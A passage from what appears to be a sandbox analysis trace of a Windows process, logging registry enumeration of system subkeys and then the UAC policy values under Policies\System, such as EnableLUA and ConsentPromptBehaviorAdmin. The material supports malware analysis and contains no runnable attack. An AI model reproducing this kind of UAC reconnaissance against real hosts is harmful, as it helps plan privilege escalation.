cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x23fb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x23fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x23fb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x23fb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x23fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x23fb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x23fb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x23fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x23fb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x23fb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x23fb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x23fb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x23fb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x23fb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0247.591] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x23fb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x23fb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x23fb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x23fb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x23fb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x23fb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x23fb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0247.592] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x23fb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x23fb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x23fb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x23fb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x23fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x23fb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x23fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x23fb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x23fb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x23fc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0247.593] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x23fb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0247.594] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x23fb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x23fc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0247.594] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x23fb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x23fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0247.594] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x23fb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.594] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0247.594] RegCloseKey (hKey=0x38) returned 0x0 [0247.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0247.594] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x23fb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x23fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0247.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x23fb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0247.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x23fb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x23fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0247.595] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x23fb930, cchName=0x104 | out: lpName="System") returned 0x0 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.595] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0247.595] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb930) returned 1 [0247.595] RegCloseKey (hKey=0xc4) returned 0x0 [0247.595] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fb860) returned 1 [0247.595] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.595] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.595] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.596] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, 